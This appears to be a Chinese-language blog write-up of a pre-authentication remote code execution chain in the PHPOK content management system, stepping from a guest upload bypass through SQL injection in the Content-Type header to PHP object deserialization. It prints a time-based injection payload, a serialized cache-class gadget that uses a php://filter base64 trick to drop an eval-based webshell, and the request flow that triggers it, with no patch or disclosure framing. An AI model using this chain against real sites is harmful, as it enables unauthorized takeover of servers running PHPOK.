^

P***OK全版本前台无条件RCE

前言

    CMS官网:

    https://www.phpok.com/

     利用条件:网站未关闭游客附件上传(默认开启)

审计过程

   快速部署建站:http://phpok.106107.xyzn
   找到游客附件上传地址:http://phpok.106107.xyz/index.php?c=upload&f=save&cateid=1

    首先我们进行正常的普通附件上传,发现无论什么图片都无法上传:

5ffdd0d9c1dad.png     进行代码审计,首先查看upload控制器代码,代码位于目录/framework/www/中,查看save这个function。

5ffdd15dcc2b0.png

    跟进upload_base方法:

5ffdd18489c6b.png

    继续跟进getfile方法

5ffdd20b2dac2.png

    在此处vardump有输出,所以进入了upload的方法。继续跟进:

5ffdd27e59fd1.png

    继续往下审阅代码:

5ffdd2cd25276.png

    我们发现最终是在这里进行了return,原因就是进入了if($bin),如何bypass这个判断呢?

    1.首先必须要有php代码基础,根据我的调试来看。这个是对文件头进行了判断。必须要是rawbytes的contenttype才可以提交,修改contenttype,提交成功。

5ffdd3ce77fb9.png

    2.必须要获取$bin变量才可以进入判断,通过var_dump发现就是图片内容。将图片文件内容置空,上传成功。

5ffdd426a6f8c.png

    所以这里通过小技巧进行了bypass,图片就已经上传到服务器了。我们回到base_upload方法:

5ffdd4a5a755e.png

    我们发现这里有个model->save的方法,跟进save方法。5ffdd4eba9337.png

    发现无论是否登录,都有一个插入数据库的方法,并且没有过滤。也就是说他直接将数组$array全部插入了数据库,那我们可以var_dump一下看看有哪些数组字段可控。

5ffdd54d310c0.png

    我们打印数组后可发现,mime_type字段直接来自于请求头。并且是可控的,我们可以打印一段SQL语句,然后进行拼接操作(不做演示),最终获取payload:

',sleep(5))#

5ffdd5bd0a13d.png

    我们发现成功sleep了。至此,我们审计到了一个SQL注入漏洞。但是如何通过SQL注入到达RCE呢。 5ffdd6023eaeb.png

    继续查看代码发现对attr字段进行了序列化操作,所以有序列化肯定有反序列化。我们在这里打印数组:

5ffdd625068e5.png

    我们继续观察SQL语句:

插入:INSERT INTO qinggan_res (`cate_id`,`folder`,`name`,`ext`,`filename`,`addtime`,`title`,`session_id`,`user_id`,`mime_type`,`attr`) VALUES('','res/','db0846bb72407e1c.png','png','res/db0846bb72407e1c.png','1608034638','3','0o8592k55lo99m8r9hg27roid8','','image/png',sleep(5))#','a:2:{s:5:"width";i:622;s:6:"height";i:503;}')
响应:{"status":"ok","content":{"id":"117","cate_id":"1","folder":"res\\\\/","name":"db0846bb72407e1c.png","ext":"png","filename":"res\\\\/db0846bb72407e1c.png","ico":"res\\\\/_cache\\\\/_ico\\\\/11\\\\/117.png","addtime":"1608034638","title":"3","attr":"0","note":"","session_id":"0o8592k55lo99m8r9hg27roid8","user_id":"0","download":"0","admin_id":"0","mime_type":"image\\\\/png","etype":"0","uploadtime":"2020-12-15 20:17:18"}}    [object Object]

    发现我们可控的字段和attr字段相邻,所以进而我们可以直接覆盖attr变量。

    什么意思呢?就比如我们可以构造语句为:

    5ffdd7ba37910.png

    单引号闭合前面字段的插入,分割后 ) 闭合最前面的括号,然后#注释多余语句。

    执行后我们访问数据库:

5ffdd7a8bf892.png

    发现我们成功插入了自定义内容到attr字段中了。后面就很简单了,找打反序列化attr字段的点:

    发现res模型中getone方法就有反序列化操作:

5ffdd875153ae.png

    然后就是写一个可以造成getshell的gadget就行了。但是怎么找呢?

    我们成功找到了一个cache类,路径如图所示:

5ffdd92930d1a.png

    它在反序列化的时候会触发destruct魔法函数:

    5ffdd9542c353.png

    跟进save,发现这里有一个file_put_contents的操作:5ffdd98ff0d48.png

    但是这里注意的是为了防止木马生成,加入了exit函数,这个我在做一道CTF题的时候遇到过bypass方法,就是使用:

php://filter/write=convert.base64-decode/resource=
构造file_put_contents(php://filter/write=convert.base64-decode/resource=$id.php,'<?php exit();?>'.base64编码的shellcode)

    这样外放文件的时候会对整个内容base64解码,导致前面的内容发生错误,而base64编码的shellcode会正常还原。

    所以最终构造的gadget如下:

<?php
 class cache{
     protected $key_id;
     protected $key_list;
     protected $folder;
  
     public function __construct(){
         $this->key_id = 'depy';
         $this->key_list = 'aa'.base64_encode('<?php eval($_GET["shell"]);?>');
         $this->folder = 'php://filter/write=convert.base64-decode/resource=';
     }
 }
 
 echo bin2hex(serialize(new cache()));

    这样,触发反序列化之后,将会在根目录生成depy.php的webshell,密码是shell。那么gadget写完之后,就是找怎么前台可以调用到get_one方法的地方了。

    5ffddbc130846.png

    我们找到控制器下的replace方法,它根据get oldid参数,然后进入数据库找到我们上传的图片。然后调用get_one方法,触发反序列化。

    例如上传图片时,对content type写入我们的gadget。

5ffddc3082461.png

    添加成功后会返回图片id。

    5ffddc44efae0.png

    通过id,进入replace方法,oldid为上面的id。

    例如:

5ffddc68a6b7a.png

    然后通过oldid,会最终触发反序列化生成webshell到根目录。

5ffddd4b4b3cb.png   5ffdde4c2f293.png